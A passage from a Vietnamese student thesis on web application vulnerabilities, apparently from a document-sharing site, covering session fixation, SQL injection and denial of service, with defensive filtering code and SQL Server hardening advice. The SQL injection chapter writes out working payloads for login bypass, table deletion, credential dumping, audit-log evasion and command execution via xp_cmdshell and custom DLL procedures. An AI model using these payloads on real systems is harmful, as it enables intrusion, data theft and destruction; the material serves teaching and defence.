Nghiên cứu các điểm yếu an ninh ứng dụng web

LỜI CẢM ƠN Sau gần 3 tháng nỗ lực thực hiện, đồ án “Nghiên cứu các điểm yếu an ninh trên ứng dụng web” đã phần nào hoàn thành. Ngoài sự cố gắng hết mình của bản thân, em đã nhận được sự động viên, khích lệ rất nhiều từ phía nhà trường, Thầy, Cô, gia đình và bạn bè. Em xin cám ơn Thầy, Cô trường Học viện Kỹ Thuật Mật Mã đã truyền đạt những kiến thức quý báu cho em trong suốt quá trình học tập. Đặc biệt, em xin bày tỏ lòng chân thành sâu sắc đến PGS,TS. Lê Mỹ Tú, TS. Trần Đức Sự, những người đã tận tình hướng dẫn và giúp đỡ em trong quá trình làm đồ án tốt nghiệp. Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ em trong quá trình học tập và hoàn thành tốt đồ án tốt nghiệp này. MỤC LỤC MỞ ĐẦU 6 CHƯƠNG I 8 TỔNG QUAN VỀ ỨNG DỤNG WEB 8 1.1 KIẾN TRÚC VÀ HOẠT ĐỘNG CỦA ỨNG DỤNG WEB 8 1.1.1 Khái niệm 8 1.1.2 Kiến trúc ứng dụng web 11 1.1.3 Mô tả hoạt động 12 1.2 CÁC KHÁI NIỆM LIÊN QUAN 13 1.2.1 Giao thức http 13 1.2.2 Phiên kết nối Session 16 1.2.3 Cookie 17 1.2.4 Proxy 19 1.2.5 Hacker 20

docx60 trang | Chia sẻ: lvcdongnoi | Lượt xem: 4112 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Nghiên cứu các điểm yếu an ninh ứng dụng web, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
hệ thống hướng tự do hacker chỉ cần thiết lập một session ID bất kì, nhớ và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí một session ID với ứng dụng. Phụ thuộc vào qui trình quản lí phiên làm việc mà hacker lưu trữ thời gian sống của phiên làm việc cho đến khi nạn nhân đăng nhập vào hệ thống. Thông thường một phiên làm việc không tồn tại vô hạn định.   Hệ thống sẽ tự động hủy bỏ phiên làm việc nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi ) hoặc hết hạn định. Do đó bước  kẻ tấn công sẽ bảo trì phiên làm việc bằng cách gửi yêu cầu đến server. •   Bước 2: Gởi ID này đến trình duyệt nạn nhân. Hacker gửi session ID vừa tạo đến người dùng và việc trao đổi ID session còn tùy vào ứng dụng mà có thể qua URL, biến ẩn form hay cookie. Các cách tấn công thông dụng gồm: Tấn công session ID trên tham số URL.  Tấn công session ID bằng biến ẩn form.  Tấn công session ID trong cookie. •   Bước 3: Đột nhập vào phiên làm việc của nạn nhân. Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn và chưa thoát khỏi ứng dụng, hacker lúc này bắt đầu dùng session ID đó để bước vào phiên làm việc của nạn nhân. 3.1.4.3  Đánh cắp phiên làm việc Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với sessionID đã được ấn định sẵn trên URL. Hacker  mở  dịch  vụ  trực  tuyến  của  ngân  hàng  thông  qua  địa  chỉ: Nhận được một session ID từ trình chủ để xác định phiên làm việc của hacker. Ví dụ session ID có giá trị là 1234. Sau đó hacker sẽ tìm cách gửi một liên kết đến một người dùng nào đó có tài khoản trong ngân hàng này. Những liên kết đó thường là dẫn đến trang đăng nhập   vào   tài   khoản   trong   ngân   hàng . ví dụ liên kết là để lừa người dùng làm việc trong phiên làm việc của hackerkhi người dùng nhận được liên kết này, Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker. Do đã có session ID (của hacker) nên trình chủ sẽ không tạo một session ID  mới. Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài khoản. Khi đó hacker sẽ vào tài khoản của người dùng mà không cần phải đăng nhập vì có cùng phiên làm việc. 3.1.4.4 Tấn công Session ID trên tham số URL Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với sessionID đã được ấn định sẵn trên URL. Ví dụ:   Hình 13- Tấn công Sessionid trên tham số URL 1.  Hacker  mở  dịch  vụ  trực  tuyến  của  ngân  hàng  thông  qua  địa  chỉ online.worldbank.com 2.   Nhận được một session ID từ trình chủ để xác định phiên làm việc của hacker. Ví dụ session ID có giá trị là 1234. 3.  Sau đó hacker sẽ tìm cách gửi một liên kết đến một người dùng nào đó có tài khoản trong ngân hàng này. Những liên kết đó thường là dẫn đến trang đăng nhập vào tài khoản trong ngân hàng ví dụ liên kết         là:  để lừa người dùng làm việc trong phiên làm việc của hacker khi người dùng nhận được liên kết này, 4.  Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker. Do đã có session ID (của hacker) nên trình chủ sẽ không tạo một session ID  mới. 5.  Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài khoản. 6.  Khi đó hacker sẽ vào tài khoản của người dùng mà không cần phải đăng nhậpvì có cùng phiên làm việc. 3.1.5 Phòng chống Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực hiện vài bước cơ bản sau: Tạo ra danh sách những thẻ HTML được phép sử dụng. Xóa bỏ thẻ Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related Lọc dấu nháy đơn hay kép Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null  khiến cho ứng dụng dù đã lọc bỏ thẻ vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này). 3.2 LỖI INJECTION 3.2.1. Khái niệm SQL Injection Một điểm yếu nghiêm trọng nữa là điểm yếu về việc kiểm tra dữ liệu đầu vào(data  input) injection Đây là lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu là cho hacker có thể "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy.Đây không chỉ là khuyết điểm của riêng SQL Server mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access. Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng. Hầu hết các lỗi SQL Injection đều là do câu lệnh SQL sai hoặc do User làm cho câu lệnh SQL sai , không thực hiện đúng chức năng của nó . 3.2.2. Giới thiệu mô hình cơ sở dữ liệu Để trình bày tốt hơn nội dung kĩ thuật này, đồ án sử dụng bảng User để minh họa kĩ thuật tấn công. Bảng User: STT Tên trường Cài đặt vật lý Kiểu trường Kích thước Diễn giải 1 tkUsername Khoá chính Text 50 Mỗi người dùng có 1 account để đăng nhập 2 tkPassword Text 50 Pass để đăng nhập Quy ước: Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu là SQL Server. 3.2.3 Kỹ thuật tấn công cơ bản 3.2.3.1 Sử dụng ký tự đặc biệt Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăng nhập.  Ví dụ 1. giả sử ứng dụng web có đoạn mã sau: SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” flag= GetQueryResult (SQLQuery) if flag = “” then check=FALSE else check=TRUE end if Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false. Nếu kẻ tấn công nhập vào giá trị là: Username: ’ OR ‘’=’ Password: ’ OR ‘’=’ Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’ Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn. Kết hợp với kí tự đặc biệt của SQL : • kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn • kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng Ví dụ 2. Gía trị nhập vào : Username: ’; drop table User-- Password: Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’” Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn. Ví dụ 3. Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau: Username: admin’-- Password: Câu lệnh SQL như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘admin’—AND Password= ‘” & tkPassword & “’” Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password. 3.2.3.2. Tấn công dưa vào câu lệnh SELECT Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp. Khái niệm Direct Injection: Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụ 4: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName Khái niệm Quote Injection: Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu nháy đơn hay ngoặc kép là trường hợp Quote Injection Ví dụ 5: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName &“’” Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’” Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào phải có “)”: 3.2.3.3 Tấn công dựa vào câu lệnh HAVING HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường. Microsoft SQL phát triển riêng cho mình 1 cách viết lệnh SQL mới , còn gọi là Transact SQL, hay TSQL. Em  sẽ sử dụng sức mạnh của TSQL để mô tả về cách thức tấn công SQL Injection. Hãy dựa vào câu SQL mà chúng ta đang xem xét. Giả sử em nhập vào : Username: ' having 1=1 ---  Password: [Anything]  Câu SQL trở thành select userName from users where userName='' having 1=1 Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16  Nhìn kỹ lại thông báo và chúng ta thấy rằng Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗi SQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE : Username: ' or users.userName like 'a%' --- Password: [Anything] và câu SQL trở thành select userName from users where userName='' or users.userName like 'a%' --' and userPass='' Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin Logged In As admin 3.2.3.4. Tấn công dựa vào câu lệnh kết hợp UNION Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT. Ví dụ 6: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User” Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User. Ghi chú: • Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường. Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION: Ví dụ 7: Nhắc lại câu truy vấn cần để đăng nhập: SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘”  tkPassword & “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username: ’having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại một trường tên là tkUsername. Sau đó sử dụng GROUP BY: Ví dụ 8: Username: ‘group by User.tkUsername having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng: Ví dụ 9: Username: ’union select sum(tkUsername) from User Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau: [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Ví dụ 10: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau: create proc test as begin declare @ret varchar(8000)set @ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo end Thực thi câu lệnh bằng cách nhập vào form .Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+''+tkUsername+'/'+tkPassword from User select @ret as ret into foo • Bước 2: Gọi Stored procedure đó Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username:’;exec test • Bước 3: Dùng UNION để xem nội dung bảng foo Username:’;select ret,1 from foo union select 1,1 from foo Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' to a column of data type int. Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên tkUsername và mật khẩu tkPassword. • Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username: ‘; drop table foo-- 3.2.3.5. Tấn công dưa vào lệnh INSERT Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook…v..v… Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số). 3.2.4. Kỹ thuật tấn công nâng cao 3.2.4.1. Chuỗi kí tự không có dấu nháy đơn. Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy. Function escape (input) Input=replace(input, “’”, “’’”) escape=input end function Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm “char()” như ví dụ sau: Ví dụ 12: INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff) Ví dụ trên tuy là một câu truy vấn không có dấu nháy đơn nào nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với: INSERT into User VALUES( 666,’chris’,’chris’,255) Hacker cũng có thể chọn username , password là số để tránh dấu nháy như ví dụ sau: INSERT into User VALUES( 667,123,123,0xffff) SQL server sẽ tự động chuyển từ số sang chuỗi. 3.2.4.2 Tấn công 2 tầng Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn đoạn mã SQL . Để đăng kí account trong ứng dụng, nhập username như sau: Username: admin'— Password: passofadmin Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau: INSERT into User VALUES(123, 'admin''--', 'password',0xffff)   (nhưng trong cơ sở dữ liệu sẽ lưu là “admin’--“) Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới. Đoạn mã như sau: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) {… Câu truy vấn thiết lập mật khẩu mới như sau: sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'" rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin’-- Câu truy vấn lúc này như sau: update users set password = 'password' where username = 'admin'--' Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình. Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những kí tự này. Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn. Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ. Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng. Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự. Nhập: Username: aaaaaaaaaaaaaaa’ Password : ‘; shutdown-- Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ bị xoá mất. Câu lệnh SQL như sau: Select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown—‘ kết quả là username trong câu lệnh có giá trị là: aaaaaaaaaaaaaaa’ and password=’ 3.2.4.3. Tránh sự kiểm soát. SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX, cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị  ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi gặp chuỗi này thì việc kiểm tra sẽ ghi nhận như sau: -- ‘sp_password’ was found in the text of this event. -- The text has benn replaced with this comment for security reasons. ngay cả khi “sp_password” xuất hiện trong phần chú thích. Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giản là thêm sp_password vào sau ‘--’ như sau: Username: admin’--sp_password 3.2.4.4. Dùng Extended Stored Procedure Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng master..xp_cmdshell để thi hành lệnh từ xa: ; exec master..xp_cmdshell 'ping 10.10.1.2'-- Thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân: xp _availablemedia Phát hiện các ổ đĩa có trên máy xp _dirtree Cho phép lấy cây thư mục xp _enumdsn Liệt kê các nguồn dữ liệu ODBC trên server. xp _loginconfig Phát hiện thông tin về kiểu an ninh của server. xp _makecab Cho phép người dùng tạo file nén trên server (hoặc các file bất kì mà server có thể truy nhập) xp _ntsec_enumdomains Liệt kê các domain mà server có thể truy nhập Dùng Extended Stored Procedure tự tạo Extended stored procedure API là một chương trình có một nhiệm vụ đơn giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy hiểm. Để đưa tập tin DLL lên Server có thể dùng các câu lệnh, hoặc các kĩ thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP download và FTP script. Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một extended stored procedure bằng dòng lệnh sau : sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’ Sau đó có thể thực thi nó như là thực thi extended stored procedure thông thường : exec xp_webserver Khi đã thực hiện xong, có thể xoá bằng lệnh sau: sp_dropextendedproc ‘xp_webserver’ Nhập tập tin văn bản vào bảng Dùng lệnh ‘bulk insert’, nhập dữ liệu từ một tập tin văn bản vào trong một bảng tạm thời. tạo một bảng đơn giản như sau: create table foo (line varchar(8000)) Sau đó chạy câu lệnh bulk insert để chép dữ liệu từ tập tin vào bảng bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’ Nội dung trang process_login.asp có thể lấy về được 3.2.5. Cách phòng chống Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng. Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng. Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ: dữ liệu nhập do người dùng đệ trình các tham số từ URL các giá trị từ cookie Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. Dùng thuật toán để mã hoá dữ liệu 3.2.5.1. Kiểm tra dữ liệu Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích. Những tóm tắt sau đây sẽ trình bày về việc kiểm tra tính đúng đắn của dữ liệu, cùng với ví dụ mẫu để minh hoạ cho vấn đề này. Có ba giải pháp tiếp cận vấn đề này: 1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ. 2) Loại bỏ những dữ liệu bất hợp lệ. 3) Chỉ chấp nhận những dữ liệu hợp lệ  Giải pháp 1: khó thực hiện Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ, bởi vì những dạng dữ liệu bất hợp lệ rất đa dạng. Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL injection) trong việc lấy dữ liệu từ hệ thống ra.  Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do : Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn công mới.  Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài đặt. Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự “--“ là một chuỗi kí tự đặc biệt trong SQL server. Ví dụ nếu có bộ lọc để : • Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’ • Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau. uni’on se’lect @@version-‘- Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản Cách 1: Thay thế dấu nháy đơn: function escape( input ) input = replace(input, "'", "''") escape = input end function Cách 2: Từ chối dữ liệu bất hợp lệ function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop","--", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) 0 ) then validate_string = false exit function end if next end function Cách 3: Chỉ chấp nhận dữ liệu hợp lệ function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function 3.2.5.2 Khoá chặt SQL Server (SQL Server Lockdown) Đây là một danh sách các công việc cần làm để bảo vệ SQL server: • Xác định các phương pháp kết nối đến server: o Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang dùng là hoat động. • Kiểm tra tất cả các tài khoản có trong SQL Server o Chỉ tạo tài khoản có quyền thấp cho các ứng dụng o Loại bỏ những tài khoản không cần thiết o Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, … • Kiểm tra các đối tượng tồn tại o Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn. Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin .dll chứa mã của các extended stored procedure o Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs” o Xóa các stored procedure không dùng như: master..xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask • Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào o Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nó cần dùng. • Kiểm tra lớp sửa chữa của server o Có một số cách tấn công như “buffer overflow”, “format string” thường chú ý đến lớp bảo vệ này. • Kiểm tra các phiên làm việc trên server • Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp trong SQL Server Security. 3.3 LỖI TỪ CHỐI DỊCH VỤ 3.3.1 Khái niệm Tấn công bằng từ chối dịch vụ DoS (Denial of Service) có thể mô tả như hành động ngăn cản những người dùng hợp pháp khả năng truy cập và sử dụng vào một dịch vụ nào đó. Nó bao gồm làm tràn ngập mạng, mất kết nối với dịch vụ… mà mục đích cuối cùng là máy chủ (Server) không thể đáp ứng được các yêu cầu sử dụng dịch vụ từ các máy trạm (Client). DoS có thể làm ngưng hoạt động của một máy tính, một mạng nội bộ, thậm chí cả một hệ thống mạng rất lớn. Về bản chất thực sự của DoS, kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ từ các client khác. 3.3.2 Các cách thức tấn công DoS Phá hoại dựa trên tính giới hạn hoặc không thể phục hồi của tài nguyên mạng 3.3.2.1. Thông qua kết nối Tấn công kiểu SYN flood Lợi dụng cách thức hoạt động của kết nối TCP/IP, hacker bắt đầu quá trình thiết lập một kết nối TPC/IP tới mục tiêu muốn tấn công mà không gửi trả gói tin ACK, khiến cho mục tiêu luôn rơi vào trạng thái chờ (đợi gói tin ACK từ phía yêu cầu thiết lập kết nối) và liên tục gửi gói tin SYN ACK để thiết lập kết nối. Một cách khác là giả mạo địa chỉ IP nguồn của gói tin yêu cầu thiết lập kết nối SYN và cũng như trường hợp trên, máy tính đích cũng rơi vào trạng thái chờ vì các gói tin SYN ACK không thể đi đến đích do địa chỉ IP nguồn là không có thật. Kiểu tấn công SYN flood được các hacker áp dụng để tấn công một hệ thống mạng có băng thông lớn hơn hệ thống của hacker. Hình 14 Bắt tay 3 bước TCP 3.3.2.2. Lợi dụng nguồn tài nguyên của chính nạn nhân để tấn công Kiểu tấn công Land Attack Kiểu tấn công Land Attack cũng tương tự như SYN flood, nhưng hacker sử dụng chính IP của mục tiêu cần tấn công để dùng làm địa 